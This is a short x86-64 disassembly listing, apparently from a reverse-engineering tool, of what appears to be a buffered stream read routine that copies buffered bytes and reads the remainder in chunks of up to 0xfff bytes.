mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x1da1f03657c
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x1da1f036584
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x1da1f036526
sub r14, rdi
jmp 0x1da1f03666f
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x1da1f0365a3
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1da1f0365a5
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x1da1f0365d7
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.1da1f03c520
mov rax, qword [rbx + 0x50]
add rsi, rdi
sub rbp, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x1da1f03666c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x1da1f036612
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rbp, 0xfff
jbe 0x1da1f03664d
nop dword [rax + rax]
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.1da1f042398
add rsi, rax
sub rbp, rax
cmp rax, 0xfff
jne 0x1da1f03666c
cmp rbp, rax
ja 0x1da1f036620
test rbp, rbp
je 0x1da1f03666c
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.1da1f042398
sub rbp, rax
sub r14, rbp
mov rbp, qword [rsp + 0x28]
mov rax, r14
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret